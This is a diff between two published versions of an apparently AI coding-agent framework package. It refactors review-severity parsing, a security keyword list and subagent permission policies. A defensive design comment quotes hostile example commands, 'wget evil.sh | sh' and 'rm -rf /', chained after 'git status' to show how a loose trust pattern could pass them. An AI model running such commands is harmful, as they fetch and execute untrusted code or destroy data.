@wrongstack/core 0.298.0 → 0.298.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/defaults/index.js +65 -61
- package/dist/index.js +149 -155
- package/dist/infrastructure/index.js +1 -1
- package/dist/plugin/index.js +38 -49
- package/dist/plugins/auto-review-plugin.d.ts +1 -11
- package/dist/security/auto-approve-policy.d.ts +37 -0
- package/dist/security/index.js +64 -60
- package/dist/security/permission-helpers.d.ts +93 -0
- package/dist/security/permission-policy.d.ts +2 -52
- package/dist/storage/index.js +1 -1
- package/dist/types/config/autonomy.d.ts +3 -4
- package/dist/utils/index.d.ts +1 -0
- package/dist/utils/index.js +46 -0
- package/dist/utils/sage-output-block.js +48 -0
- package/instructions/llm/chimera-review.md +4 -6
- package/package.json +8 -4
- package/skills/auto-review/SKILL.md +11 -76
- package/skills/chimera/SKILL.md +23 -53
package/dist/plugin/index.js
CHANGED
|
@@ -6915,57 +6915,49 @@ function parseReviewSeverity(text) {
|
|
|
6915
6915
|
const result = { critical: 0, high: 0, medium: 0 };
|
|
6916
6916
|
if (!text) return result;
|
|
6917
6917
|
for (const level of ["critical", "high", "medium"]) {
|
|
6918
|
-
const
|
|
6919
|
-
const countMatch = text.match(countRe);
|
|
6918
|
+
const countMatch = text.match(new RegExp(`###\\s*${level}\\s*\\((\\d+)\\)`, "i"));
|
|
6920
6919
|
if (countMatch?.[1]) {
|
|
6921
6920
|
result[level] = Number.parseInt(countMatch[1], 10);
|
|
6922
6921
|
continue;
|
|
6923
6922
|
}
|
|
6924
|
-
const
|
|
6925
|
-
|
|
6926
|
-
|
|
6927
|
-
|
|
6928
|
-
result[level] = items ? items.length : 0;
|
|
6929
|
-
}
|
|
6923
|
+
const section = text.match(
|
|
6924
|
+
new RegExp(`###\\s*${level}[^\\n]*\\n([\\s\\S]*?)(?=###|$)`, "i")
|
|
6925
|
+
)?.[1];
|
|
6926
|
+
result[level] = section?.match(/^\s*\d+\.\s/gm)?.length ?? 0;
|
|
6930
6927
|
}
|
|
6931
6928
|
return result;
|
|
6932
6929
|
}
|
|
6933
|
-
var SECURITY_KEYWORDS = [
|
|
6934
|
-
"injection",
|
|
6935
|
-
"xss",
|
|
6936
|
-
"csrf",
|
|
6937
|
-
"ssrf",
|
|
6938
|
-
"sql",
|
|
6939
|
-
"secret",
|
|
6940
|
-
"credential",
|
|
6941
|
-
"password",
|
|
6942
|
-
"api key",
|
|
6943
|
-
"token",
|
|
6944
|
-
"auth",
|
|
6945
|
-
"shell injection",
|
|
6946
|
-
"command injection",
|
|
6947
|
-
"innerhtml",
|
|
6948
|
-
"deserialization",
|
|
6949
|
-
"path traversal",
|
|
6950
|
-
"hardcoded",
|
|
6951
|
-
"privilege",
|
|
6952
|
-
"owasp"
|
|
6953
|
-
];
|
|
6954
6930
|
function decideCascadeAgents(text, severities) {
|
|
6955
6931
|
const agents = /* @__PURE__ */ new Set();
|
|
6956
|
-
if (severities.critical > 0 || severities.high > 0)
|
|
6957
|
-
|
|
6958
|
-
|
|
6959
|
-
|
|
6960
|
-
|
|
6961
|
-
|
|
6962
|
-
|
|
6932
|
+
if (severities.critical > 0 || severities.high > 0) agents.add("bug-hunter");
|
|
6933
|
+
const securityKeywords = [
|
|
6934
|
+
"injection",
|
|
6935
|
+
"xss",
|
|
6936
|
+
"csrf",
|
|
6937
|
+
"ssrf",
|
|
6938
|
+
"sql",
|
|
6939
|
+
"secret",
|
|
6940
|
+
"credential",
|
|
6941
|
+
"password",
|
|
6942
|
+
"api key",
|
|
6943
|
+
"token",
|
|
6944
|
+
"auth",
|
|
6945
|
+
"shell injection",
|
|
6946
|
+
"command injection",
|
|
6947
|
+
"innerhtml",
|
|
6948
|
+
"deserialization",
|
|
6949
|
+
"path traversal",
|
|
6950
|
+
"hardcoded",
|
|
6951
|
+
"privilege",
|
|
6952
|
+
"owasp"
|
|
6953
|
+
];
|
|
6954
|
+
const criticalHighSections = text.toLowerCase().matchAll(/###\s*(?:critical|high)[^\n]*\n([\s\S]*?)(?=###|$)/gi);
|
|
6955
|
+
for (const section of criticalHighSections) {
|
|
6963
6956
|
const body = section[1] ?? "";
|
|
6964
|
-
if (
|
|
6957
|
+
if (securityKeywords.some((keyword) => body.includes(keyword))) {
|
|
6965
6958
|
agents.add("security-scanner");
|
|
6966
6959
|
break;
|
|
6967
6960
|
}
|
|
6968
|
-
section = criticalHighRe.exec(lower);
|
|
6969
6961
|
}
|
|
6970
6962
|
return [...agents];
|
|
6971
6963
|
}
|
|
@@ -7058,9 +7050,8 @@ function buildAutoReviewCommand(getConfig, getInFlightCount) {
|
|
|
7058
7050
|
"Detects git-tracked file edits and dispatches review subagents",
|
|
7059
7051
|
"with configurable provider/model/fallback.",
|
|
7060
7052
|
"",
|
|
7061
|
-
"
|
|
7062
|
-
"
|
|
7063
|
-
"automatically spawned to investigate.",
|
|
7053
|
+
"Reports are persisted and shown as passive notifications.",
|
|
7054
|
+
"They never wake the leader or spawn mutating follow-up agents.",
|
|
7064
7055
|
"",
|
|
7065
7056
|
"Commands:",
|
|
7066
7057
|
" /auto-review Show current status and config",
|
|
@@ -7075,11 +7066,8 @@ function buildAutoReviewCommand(getConfig, getInFlightCount) {
|
|
|
7075
7066
|
" debounceMs debounce window (default 15000)",
|
|
7076
7067
|
" maxFilesPerBatch max files per review (default 15)",
|
|
7077
7068
|
" maxConcurrentReviews max parallel reviews (default 2)",
|
|
7078
|
-
|
|
7079
|
-
"
|
|
7080
|
-
' findings reach this severity. "high" fires',
|
|
7081
|
-
' on any High+ finding; "critical" only on Critical.',
|
|
7082
|
-
" maxCascadeDepth max fix+re-review cycles (default 2, 0=off)"
|
|
7069
|
+
" cascadeOn off | critical | high (default off)",
|
|
7070
|
+
" maxCascadeDepth max fix+re-review cycles (default 2)"
|
|
7083
7071
|
].join("\n"),
|
|
7084
7072
|
async run(args) {
|
|
7085
7073
|
const cfg = getConfig();
|
|
@@ -7095,7 +7083,6 @@ function buildAutoReviewCommand(getConfig, getInFlightCount) {
|
|
|
7095
7083
|
};
|
|
7096
7084
|
}
|
|
7097
7085
|
const inFlight = getInFlightCount();
|
|
7098
|
-
const cascadeDesc = cfg.cascadeOn === "off" ? "disabled" : `on ${cfg.cascadeOn}+ \u2192 spawns security-scanner/bug-hunter`;
|
|
7099
7086
|
return {
|
|
7100
7087
|
message: [
|
|
7101
7088
|
`\u{1F4CB} Auto Review \u2014 ${cfg.enabled ? "\u2705 enabled" : "\u23F8\uFE0F disabled"}`,
|
|
@@ -7106,7 +7093,7 @@ function buildAutoReviewCommand(getConfig, getInFlightCount) {
|
|
|
7106
7093
|
` Debounce: ${cfg.debounceMs} ms`,
|
|
7107
7094
|
` Max files: ${cfg.maxFilesPerBatch}`,
|
|
7108
7095
|
` Max parallel: ${cfg.maxConcurrentReviews}`,
|
|
7109
|
-
` Cascade: ${
|
|
7096
|
+
` Cascade: ${cfg.cascadeOn === "off" ? "off" : `on ${cfg.cascadeOn}+ \u2192 spawns security-scanner/bug-hunter`}`,
|
|
7110
7097
|
` Max depth: ${cfg.maxCascadeDepth} re-review cycle(s)`,
|
|
7111
7098
|
` In-flight: ${inFlight} review(s)`,
|
|
7112
7099
|
"",
|
|
@@ -8414,7 +8401,9 @@ function createChimeraPlugin() {
|
|
|
8414
8401
|
api.log.info("[chimera] skipped \u2014 changed files already have reviews in progress");
|
|
8415
8402
|
return;
|
|
8416
8403
|
}
|
|
8417
|
-
api.log.info(
|
|
8404
|
+
api.log.info(
|
|
8405
|
+
`[chimera] emitted review_needed event (${emittedBundle.files.length} files)`
|
|
8406
|
+
);
|
|
8418
8407
|
} catch (err) {
|
|
8419
8408
|
api.log.warn(`[chimera] session.ended handler failed: ${toErrorMessage(err)}`);
|
|
8420
8409
|
}
|
|
@@ -90,17 +90,7 @@ export interface ParsedSeverities {
|
|
|
90
90
|
high: number;
|
|
91
91
|
medium: number;
|
|
92
92
|
}
|
|
93
|
-
/**
|
|
94
|
-
* Extract Critical/High/Medium finding counts from a Chimera review report.
|
|
95
|
-
*
|
|
96
|
-
* The report format (from llm/chimera-review.md) uses section headers like
|
|
97
|
-
* `### Critical (2)`, `### High (1)`, `### Medium (3)`. We match the count
|
|
98
|
-
* in parentheses. Falls back to counting `1.`, `2.` list-item markers under
|
|
99
|
-
* a severity heading when no `(N)` is present (defensive — the prompt asks
|
|
100
|
-
* for both, but LLMs sometimes omit the count).
|
|
101
|
-
*
|
|
102
|
-
* Returns all-zero when the text doesn't match (clean report or unparseable).
|
|
103
|
-
*/
|
|
93
|
+
/** Parse report counts for clean-vs-actionable classification. */
|
|
104
94
|
export declare function parseReviewSeverity(text: string): ParsedSeverities;
|
|
105
95
|
/**
|
|
106
96
|
* Decide which follow-up cascade agents to spawn based on the review text.
|
|
@@ -0,0 +1,37 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Auto-approving PermissionPolicy used for subagents. Subagents run
|
|
3
|
+
* non-interactively under a director — they cannot answer permission
|
|
4
|
+
* prompts, so a non-YOLO policy on the leader would silently hang the
|
|
5
|
+
* delegated run on the first sensitive tool call. The user already
|
|
6
|
+
* authorized the delegation when they invoked the leader; subagents
|
|
7
|
+
* inherit that authorization automatically.
|
|
8
|
+
*
|
|
9
|
+
* Tool defaults of `permission: 'deny'` are still honored (this is a
|
|
10
|
+
* subagent capability override, not a deny-bypass).
|
|
11
|
+
*
|
|
12
|
+
* 2026-06+: Primary decision is now based on declared `Tool.capabilities`
|
|
13
|
+
* (capability allowlist / denylist model). The legacy name-based DENY set
|
|
14
|
+
* is kept only for backward compatibility with tools that have not yet
|
|
15
|
+
* declared capabilities.
|
|
16
|
+
*
|
|
17
|
+
* 2026-06-13+: Switched to allowlist-by-default. Only tools with explicitly
|
|
18
|
+
* allowed capabilities are auto-approved. Everything else is denied.
|
|
19
|
+
* Default allowed: fs.read, net.outbound (read-only, safe operations).
|
|
20
|
+
*
|
|
21
|
+
* Extracted from permission-policy.ts.
|
|
22
|
+
*/
|
|
23
|
+
import type { PermissionDecision, PermissionPolicy, PermissionTrace } from '../types/permission.js';
|
|
24
|
+
import type { Tool } from '../types/tool.js';
|
|
25
|
+
export declare class AutoApprovePermissionPolicy implements PermissionPolicy {
|
|
26
|
+
private readonly allowedCapabilities;
|
|
27
|
+
constructor(allowedCapabilities?: readonly string[]);
|
|
28
|
+
private static isMcpTool;
|
|
29
|
+
evaluate(tool: Tool): Promise<PermissionDecision>;
|
|
30
|
+
trust(): Promise<void>;
|
|
31
|
+
deny(): Promise<void>;
|
|
32
|
+
denyOnce(): void;
|
|
33
|
+
allowOnce(): void;
|
|
34
|
+
explain(tool: Tool): Promise<PermissionTrace>;
|
|
35
|
+
reload(): Promise<void>;
|
|
36
|
+
}
|
|
37
|
+
//# sourceMappingURL=auto-approve-policy.d.ts.map
|
package/dist/security/index.js
CHANGED
|
@@ -2140,7 +2140,68 @@ function isClearlyDestructiveBashCommand(command, projectRoot) {
|
|
|
2140
2140
|
return false;
|
|
2141
2141
|
}
|
|
2142
2142
|
|
|
2143
|
-
// src/security/
|
|
2143
|
+
// src/security/auto-approve-policy.ts
|
|
2144
|
+
var AutoApprovePermissionPolicy = class _AutoApprovePermissionPolicy {
|
|
2145
|
+
allowedCapabilities;
|
|
2146
|
+
constructor(allowedCapabilities) {
|
|
2147
|
+
this.allowedCapabilities = allowedCapabilities ?? [
|
|
2148
|
+
ToolCapabilities.FS_READ,
|
|
2149
|
+
ToolCapabilities.NET_OUTBOUND
|
|
2150
|
+
];
|
|
2151
|
+
}
|
|
2152
|
+
static isMcpTool(name) {
|
|
2153
|
+
return name.startsWith("mcp__");
|
|
2154
|
+
}
|
|
2155
|
+
async evaluate(tool) {
|
|
2156
|
+
const caps = tool.capabilities ?? [];
|
|
2157
|
+
const hasAllowedCap = caps.some((c) => this.allowedCapabilities.includes(c));
|
|
2158
|
+
const isMcp = _AutoApprovePermissionPolicy.isMcpTool(tool.name);
|
|
2159
|
+
const mcpProxyAllowed = this.allowedCapabilities.includes(ToolCapabilities.MCP_PROXY);
|
|
2160
|
+
const dangerousNotAllowed = getDangerousCapabilities(tool).filter(
|
|
2161
|
+
(c) => !this.allowedCapabilities.includes(c)
|
|
2162
|
+
);
|
|
2163
|
+
const blocked = tool.permission === "deny" || isMcp && !mcpProxyAllowed || !hasAllowedCap || dangerousNotAllowed.length > 0;
|
|
2164
|
+
if (blocked) {
|
|
2165
|
+
const reason = isMcp && !mcpProxyAllowed ? `MCP tool ${tool.name} is not auto-approved for subagents \u2014 ask the leader to allow mcp.proxy explicitly` : tool.permission === "deny" ? "tool default deny" : dangerousNotAllowed.length > 0 ? `tool requires un-granted dangerous capability (needs: ${dangerousNotAllowed.join(", ")}, allowed: ${this.allowedCapabilities.join(", ")})` : `tool lacks allowed capability (has: ${caps.join(", ") || "none"}, allowed: ${this.allowedCapabilities.join(", ")})`;
|
|
2166
|
+
return {
|
|
2167
|
+
permission: "deny",
|
|
2168
|
+
source: "subagent_guard",
|
|
2169
|
+
reason
|
|
2170
|
+
};
|
|
2171
|
+
}
|
|
2172
|
+
return { permission: "auto", source: "yolo" };
|
|
2173
|
+
}
|
|
2174
|
+
async trust() {
|
|
2175
|
+
}
|
|
2176
|
+
async deny() {
|
|
2177
|
+
}
|
|
2178
|
+
denyOnce() {
|
|
2179
|
+
}
|
|
2180
|
+
allowOnce() {
|
|
2181
|
+
}
|
|
2182
|
+
async explain(tool) {
|
|
2183
|
+
const decision = await this.evaluate(tool);
|
|
2184
|
+
return {
|
|
2185
|
+
toolName: tool.name,
|
|
2186
|
+
subject: null,
|
|
2187
|
+
steps: [
|
|
2188
|
+
{
|
|
2189
|
+
rule: "subagent auto",
|
|
2190
|
+
matched: decision.permission === "auto",
|
|
2191
|
+
decision: decision.permission,
|
|
2192
|
+
source: decision.source,
|
|
2193
|
+
detail: decision.reason ?? `subagent policy: ${decision.permission}`
|
|
2194
|
+
}
|
|
2195
|
+
],
|
|
2196
|
+
winnerIndex: 0,
|
|
2197
|
+
decision
|
|
2198
|
+
};
|
|
2199
|
+
}
|
|
2200
|
+
async reload() {
|
|
2201
|
+
}
|
|
2202
|
+
};
|
|
2203
|
+
|
|
2204
|
+
// src/security/permission-helpers.ts
|
|
2144
2205
|
function matchesTrust(patterns, subject) {
|
|
2145
2206
|
return patterns.includes(subject) || matchAny(patterns, subject);
|
|
2146
2207
|
}
|
|
@@ -2235,6 +2296,8 @@ function shellCommandReadsSensitivePath(command) {
|
|
|
2235
2296
|
}
|
|
2236
2297
|
return false;
|
|
2237
2298
|
}
|
|
2299
|
+
|
|
2300
|
+
// src/security/permission-policy.ts
|
|
2238
2301
|
var DefaultPermissionPolicy = class {
|
|
2239
2302
|
policy = {};
|
|
2240
2303
|
loaded = false;
|
|
@@ -2977,65 +3040,6 @@ var DefaultPermissionPolicy = class {
|
|
|
2977
3040
|
return void 0;
|
|
2978
3041
|
}
|
|
2979
3042
|
};
|
|
2980
|
-
var AutoApprovePermissionPolicy = class _AutoApprovePermissionPolicy {
|
|
2981
|
-
allowedCapabilities;
|
|
2982
|
-
constructor(allowedCapabilities) {
|
|
2983
|
-
this.allowedCapabilities = allowedCapabilities ?? [
|
|
2984
|
-
ToolCapabilities.FS_READ,
|
|
2985
|
-
ToolCapabilities.NET_OUTBOUND
|
|
2986
|
-
];
|
|
2987
|
-
}
|
|
2988
|
-
static isMcpTool(name) {
|
|
2989
|
-
return name.startsWith("mcp__");
|
|
2990
|
-
}
|
|
2991
|
-
async evaluate(tool) {
|
|
2992
|
-
const caps = tool.capabilities ?? [];
|
|
2993
|
-
const hasAllowedCap = caps.some((c) => this.allowedCapabilities.includes(c));
|
|
2994
|
-
const isMcp = _AutoApprovePermissionPolicy.isMcpTool(tool.name);
|
|
2995
|
-
const mcpProxyAllowed = this.allowedCapabilities.includes(ToolCapabilities.MCP_PROXY);
|
|
2996
|
-
const dangerousNotAllowed = getDangerousCapabilities(tool).filter(
|
|
2997
|
-
(c) => !this.allowedCapabilities.includes(c)
|
|
2998
|
-
);
|
|
2999
|
-
const blocked = tool.permission === "deny" || isMcp && !mcpProxyAllowed || !hasAllowedCap || dangerousNotAllowed.length > 0;
|
|
3000
|
-
if (blocked) {
|
|
3001
|
-
const reason = isMcp && !mcpProxyAllowed ? `MCP tool ${tool.name} is not auto-approved for subagents \u2014 ask the leader to allow mcp.proxy explicitly` : tool.permission === "deny" ? "tool default deny" : dangerousNotAllowed.length > 0 ? `tool requires un-granted dangerous capability (needs: ${dangerousNotAllowed.join(", ")}, allowed: ${this.allowedCapabilities.join(", ")})` : `tool lacks allowed capability (has: ${caps.join(", ") || "none"}, allowed: ${this.allowedCapabilities.join(", ")})`;
|
|
3002
|
-
return {
|
|
3003
|
-
permission: "deny",
|
|
3004
|
-
source: "subagent_guard",
|
|
3005
|
-
reason
|
|
3006
|
-
};
|
|
3007
|
-
}
|
|
3008
|
-
return { permission: "auto", source: "yolo" };
|
|
3009
|
-
}
|
|
3010
|
-
async trust() {
|
|
3011
|
-
}
|
|
3012
|
-
async deny() {
|
|
3013
|
-
}
|
|
3014
|
-
denyOnce() {
|
|
3015
|
-
}
|
|
3016
|
-
allowOnce() {
|
|
3017
|
-
}
|
|
3018
|
-
async explain(tool) {
|
|
3019
|
-
const decision = await this.evaluate(tool);
|
|
3020
|
-
return {
|
|
3021
|
-
toolName: tool.name,
|
|
3022
|
-
subject: null,
|
|
3023
|
-
steps: [
|
|
3024
|
-
{
|
|
3025
|
-
rule: "subagent auto",
|
|
3026
|
-
matched: decision.permission === "auto",
|
|
3027
|
-
decision: decision.permission,
|
|
3028
|
-
source: decision.source,
|
|
3029
|
-
detail: decision.reason ?? `subagent policy: ${decision.permission}`
|
|
3030
|
-
}
|
|
3031
|
-
],
|
|
3032
|
-
winnerIndex: 0,
|
|
3033
|
-
decision
|
|
3034
|
-
};
|
|
3035
|
-
}
|
|
3036
|
-
async reload() {
|
|
3037
|
-
}
|
|
3038
|
-
};
|
|
3039
3043
|
|
|
3040
3044
|
// src/security/readonly-permission-policy.ts
|
|
3041
3045
|
import * as path4 from "node:path";
|
|
@@ -0,0 +1,93 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Pure helpers for permission policy evaluation — trust-pattern matching,
|
|
3
|
+
* tool fingerprinting, and sensitive-read detection.
|
|
4
|
+
*
|
|
5
|
+
* Extracted from permission-policy.ts. No class state, no I/O.
|
|
6
|
+
*/
|
|
7
|
+
import type { Tool } from '../types/tool.js';
|
|
8
|
+
/**
|
|
9
|
+
* Match a computed subject against stored trust patterns.
|
|
10
|
+
*
|
|
11
|
+
* Exact string equality is checked FIRST, before glob compilation. Subjects are
|
|
12
|
+
* glob-escaped at the source (`escapeGlobSubject` turns `* ? [ ]` into `\* \? \[
|
|
13
|
+
* \]`), and a stored "always"-trust pattern is just a prior subject — so for an
|
|
14
|
+
* identical command the pattern and the subject are byte-for-byte equal. The
|
|
15
|
+
* glob matcher alone could not confirm that: `compileGlob` does not treat a
|
|
16
|
+
* backslash as an escape outside character classes, so an escaped `\[`/`\]` is
|
|
17
|
+
* parsed as a character-class delimiter and a command like `[ -f x ]` or
|
|
18
|
+
* `grep "[0-9]"` never re-matched its own trust entry — re-prompting forever
|
|
19
|
+
* even after the user chose "always" (#15). Exact equality is also strictly
|
|
20
|
+
* tighter than a glob, so this never widens what a pattern authorizes; genuine
|
|
21
|
+
* wildcard patterns (e.g. a user-authored `git *`) still fall through to glob.
|
|
22
|
+
*/
|
|
23
|
+
export declare function matchesTrust(patterns: string[], subject: string): boolean;
|
|
24
|
+
/**
|
|
25
|
+
* Match a trust pattern against a shell command line, for ALLOW decisions only
|
|
26
|
+
* (WS-047).
|
|
27
|
+
*
|
|
28
|
+
* `matchesTrust` compiles `*` to `[^/]*`, which crosses `;`, `&` and `|`. On a
|
|
29
|
+
* path that is right; on a command it means a user who wrote `git *` also
|
|
30
|
+
* authorized `git status; wget evil.sh | sh`. `matchAnyCommand` stops the
|
|
31
|
+
* wildcard at shell separators, so the pattern authorizes what it appears to.
|
|
32
|
+
*
|
|
33
|
+
* DELIBERATELY NOT used for deny. This matcher is strictly narrower, and
|
|
34
|
+
* narrowing a deny pattern un-blocks whatever falls outside it: a deny of
|
|
35
|
+
* `git *` must keep matching `git status; rm -rf /`, because the user's intent
|
|
36
|
+
* there is "no git-shaped command gets through", not "only well-formed ones".
|
|
37
|
+
* Narrower is safer for allow and more dangerous for deny — hence two call
|
|
38
|
+
* sites with two matchers rather than one shared helper that picks.
|
|
39
|
+
*
|
|
40
|
+
* Exact equality is kept first for the same reason as `matchesTrust`: a stored
|
|
41
|
+
* "always" pattern is a prior subject, and glob-escaped brackets do not
|
|
42
|
+
* round-trip through the compiler (#15).
|
|
43
|
+
*/
|
|
44
|
+
export declare function matchesCommandTrust(patterns: string[], subject: string): boolean;
|
|
45
|
+
/**
|
|
46
|
+
* True when this tool's permission subject is a shell command line rather than
|
|
47
|
+
* a path, url, or name — i.e. when the stricter wildcard rules apply.
|
|
48
|
+
*/
|
|
49
|
+
export declare function hasShellSubject(tool: Tool): boolean;
|
|
50
|
+
/**
|
|
51
|
+
* Reason a persistent "always allow" cannot be recorded for this call, or
|
|
52
|
+
* `undefined` when it can (WS-046).
|
|
53
|
+
*
|
|
54
|
+
* A stored trust pattern is only ever consulted as
|
|
55
|
+
* `entry.allow && subject && matchesTrust(entry.allow, subject)`. When the tool
|
|
56
|
+
* produces no subject, that condition can never be true — so `trust()` with the
|
|
57
|
+
* fallback `pattern: tool.name` writes an entry that is dead on arrival.
|
|
58
|
+
*
|
|
59
|
+
* The user experience of that bug is the damaging part. They pick "always
|
|
60
|
+
* allow", are asked again on the very next identical call, conclude the feature
|
|
61
|
+
* is broken, and reach for the one thing that does work: a blanket
|
|
62
|
+
* `{"exec": {"auto": true}}`. A silent no-op does not just fail to help — it
|
|
63
|
+
* actively trains people into the widest possible grant.
|
|
64
|
+
*
|
|
65
|
+
* So the option is refused with a stated reason instead of accepted and
|
|
66
|
+
* discarded. Exported so a UI can hide the choice rather than offer one that
|
|
67
|
+
* cannot be honoured.
|
|
68
|
+
*/
|
|
69
|
+
export declare function alwaysAllowUnavailableReason(tool: Tool, input: unknown): string | undefined;
|
|
70
|
+
/**
|
|
71
|
+
* Fingerprint of the tool fields a permission decision actually depends on
|
|
72
|
+
* (WS-058).
|
|
73
|
+
*
|
|
74
|
+
* The eval cache was keyed on tool NAME plus subject, so a cached verdict
|
|
75
|
+
* outlived the tool definition it was computed from. `ToolRegistry.wrap()`
|
|
76
|
+
* replaces a tool in place and is reachable from the plugin API, so a tool
|
|
77
|
+
* tightened to `permission: 'deny'` mid-session would keep being served the
|
|
78
|
+
* `auto` decided under its previous definition. The cache check also runs
|
|
79
|
+
* BEFORE the tool-default-deny branch, so nothing downstream re-checked.
|
|
80
|
+
*
|
|
81
|
+
* Including these fields in the key means a redefined tool misses the cache
|
|
82
|
+
* and is re-evaluated, rather than inheriting a verdict that no longer
|
|
83
|
+
* describes it. Capabilities are included because the dangerous-capability
|
|
84
|
+
* branches read them; they are short, sorted lists. The tuple is
|
|
85
|
+
* JSON-serialized so separators inside a field value (e.g. a `,` or `|`
|
|
86
|
+
* in a capability string) cannot collide with the delimiters between
|
|
87
|
+
* fields.
|
|
88
|
+
*/
|
|
89
|
+
export declare function permissionFingerprint(tool: Tool): string;
|
|
90
|
+
export declare function shellCommandLineFromInput(input: unknown): string | undefined;
|
|
91
|
+
export declare function inputPathLooksSensitive(input: unknown): boolean;
|
|
92
|
+
export declare function shellCommandReadsSensitivePath(command: string): boolean;
|
|
93
|
+
//# sourceMappingURL=permission-helpers.d.ts.map
|
|
@@ -3,26 +3,8 @@ import type { InputReader } from '../types/input-reader.js';
|
|
|
3
3
|
import type { PermissionDecision, PermissionPolicy, PermissionTrace } from '../types/permission.js';
|
|
4
4
|
import type { Tool } from '../types/tool.js';
|
|
5
5
|
import { type TrustPolicyDiagnostic } from './permission-policy-schema.js';
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
* `undefined` when it can (WS-046).
|
|
9
|
-
*
|
|
10
|
-
* A stored trust pattern is only ever consulted as
|
|
11
|
-
* `entry.allow && subject && matchesTrust(entry.allow, subject)`. When the tool
|
|
12
|
-
* produces no subject, that condition can never be true — so `trust()` with the
|
|
13
|
-
* fallback `pattern: tool.name` writes an entry that is dead on arrival.
|
|
14
|
-
*
|
|
15
|
-
* The user experience of that bug is the damaging part. They pick "always
|
|
16
|
-
* allow", are asked again on the very next identical call, conclude the feature
|
|
17
|
-
* is broken, and reach for the one thing that does work: a blanket
|
|
18
|
-
* `{"exec": {"auto": true}}`. A silent no-op does not just fail to help — it
|
|
19
|
-
* actively trains people into the widest possible grant.
|
|
20
|
-
*
|
|
21
|
-
* So the option is refused with a stated reason instead of accepted and
|
|
22
|
-
* discarded. Exported so a UI can hide the choice rather than offer one that
|
|
23
|
-
* cannot be honoured.
|
|
24
|
-
*/
|
|
25
|
-
export declare function alwaysAllowUnavailableReason(tool: Tool, input: unknown): string | undefined;
|
|
6
|
+
export { AutoApprovePermissionPolicy } from './auto-approve-policy.js';
|
|
7
|
+
export { alwaysAllowUnavailableReason, matchesTrust, matchesCommandTrust, hasShellSubject, permissionFingerprint, shellCommandLineFromInput, inputPathLooksSensitive, shellCommandReadsSensitivePath, } from './permission-helpers.js';
|
|
26
8
|
export interface PermissionPolicyOptions {
|
|
27
9
|
trustFile: string;
|
|
28
10
|
yolo?: boolean | undefined;
|
|
@@ -160,36 +142,4 @@ export declare class DefaultPermissionPolicy implements PermissionPolicy {
|
|
|
160
142
|
explain(tool: Tool, input: unknown, ctx: Context): Promise<PermissionTrace>;
|
|
161
143
|
private findNamespaceEntry;
|
|
162
144
|
}
|
|
163
|
-
/**
|
|
164
|
-
* Auto-approving PermissionPolicy used for subagents. Subagents run
|
|
165
|
-
* non-interactively under a director — they cannot answer permission
|
|
166
|
-
* prompts, so a non-YOLO policy on the leader would silently hang the
|
|
167
|
-
* delegated run on the first sensitive tool call. The user already
|
|
168
|
-
* authorized the delegation when they invoked the leader; subagents
|
|
169
|
-
* inherit that authorization automatically.
|
|
170
|
-
*
|
|
171
|
-
* Tool defaults of `permission: 'deny'` are still honored (this is a
|
|
172
|
-
* subagent capability override, not a deny-bypass).
|
|
173
|
-
*
|
|
174
|
-
* 2026-06+: Primary decision is now based on declared `Tool.capabilities`
|
|
175
|
-
* (capability allowlist / denylist model). The legacy name-based DENY set
|
|
176
|
-
* is kept only for backward compatibility with tools that have not yet
|
|
177
|
-
* declared capabilities.
|
|
178
|
-
*
|
|
179
|
-
* 2026-06-13+: Switched to allowlist-by-default. Only tools with explicitly
|
|
180
|
-
* allowed capabilities are auto-approved. Everything else is denied.
|
|
181
|
-
* Default allowed: fs.read, net.outbound (read-only, safe operations).
|
|
182
|
-
*/
|
|
183
|
-
export declare class AutoApprovePermissionPolicy implements PermissionPolicy {
|
|
184
|
-
private readonly allowedCapabilities;
|
|
185
|
-
constructor(allowedCapabilities?: readonly string[]);
|
|
186
|
-
private static isMcpTool;
|
|
187
|
-
evaluate(tool: Tool): Promise<PermissionDecision>;
|
|
188
|
-
trust(): Promise<void>;
|
|
189
|
-
deny(): Promise<void>;
|
|
190
|
-
denyOnce(): void;
|
|
191
|
-
allowOnce(): void;
|
|
192
|
-
explain(tool: Tool): Promise<PermissionTrace>;
|
|
193
|
-
reload(): Promise<void>;
|
|
194
|
-
}
|
|
195
145
|
//# sourceMappingURL=permission-policy.d.ts.map
|
package/dist/storage/index.js
CHANGED
|
@@ -6630,7 +6630,7 @@ var CONFIG_BEHAVIOR_DEFAULTS = {
|
|
|
6630
6630
|
// DEFAULT_STATUSLINE_MODE (packages/tui/src/components/settings-picker-model.ts).
|
|
6631
6631
|
statuslineMode: "minimum",
|
|
6632
6632
|
thinkingWord: DEFAULT_TUI_THINKING_WORD,
|
|
6633
|
-
showAgentSwarmPanel:
|
|
6633
|
+
showAgentSwarmPanel: "bottom"
|
|
6634
6634
|
},
|
|
6635
6635
|
circuitBreaker: { ...DEFAULT_CIRCUIT_BREAKER_CONFIG },
|
|
6636
6636
|
modelRuntime: {
|
|
@@ -90,11 +90,10 @@ export interface AutonomyConfig {
|
|
|
90
90
|
*/
|
|
91
91
|
showModelReasoning?: boolean | undefined;
|
|
92
92
|
/**
|
|
93
|
-
*
|
|
94
|
-
*
|
|
95
|
-
* monitor overlays remain available independently. Default: true.
|
|
93
|
+
* Agent swarm panel placement: 'bottom' (lower region), 'sidebar' (right sidebar), or 'off' (hidden).
|
|
94
|
+
* Backward-compat: legacy boolean values are coerced — true→'bottom', false→'off'. Default: 'bottom'.
|
|
96
95
|
*/
|
|
97
|
-
showAgentSwarmPanel?: boolean | undefined;
|
|
96
|
+
showAgentSwarmPanel?: 'bottom' | 'sidebar' | 'off' | boolean | undefined;
|
|
98
97
|
/**
|
|
99
98
|
* Persist the TUI prompt input history to disk per project so Up/Down
|
|
100
99
|
* navigation recalls prompts across sessions. Secrets are scrubbed before
|
package/dist/utils/index.d.ts
CHANGED
|
@@ -54,4 +54,5 @@ export { isUlid, ulid } from './ulid.js';
|
|
|
54
54
|
export { DEFAULT_WALK_IGNORE_DIRS, DEFAULT_WALK_IGNORE_SET } from './walk-ignore.js';
|
|
55
55
|
export { buildWin32CmdShimInvocation, type Win32CmdShimInvocation } from './win32-cmd.js';
|
|
56
56
|
export * from './wstack-paths.js';
|
|
57
|
+
export { capSageLines, SAGE_INJECTOR_HEADINGS, splitSageOutputBlock, type SageOutputSplit, } from './sage-output-block.js';
|
|
57
58
|
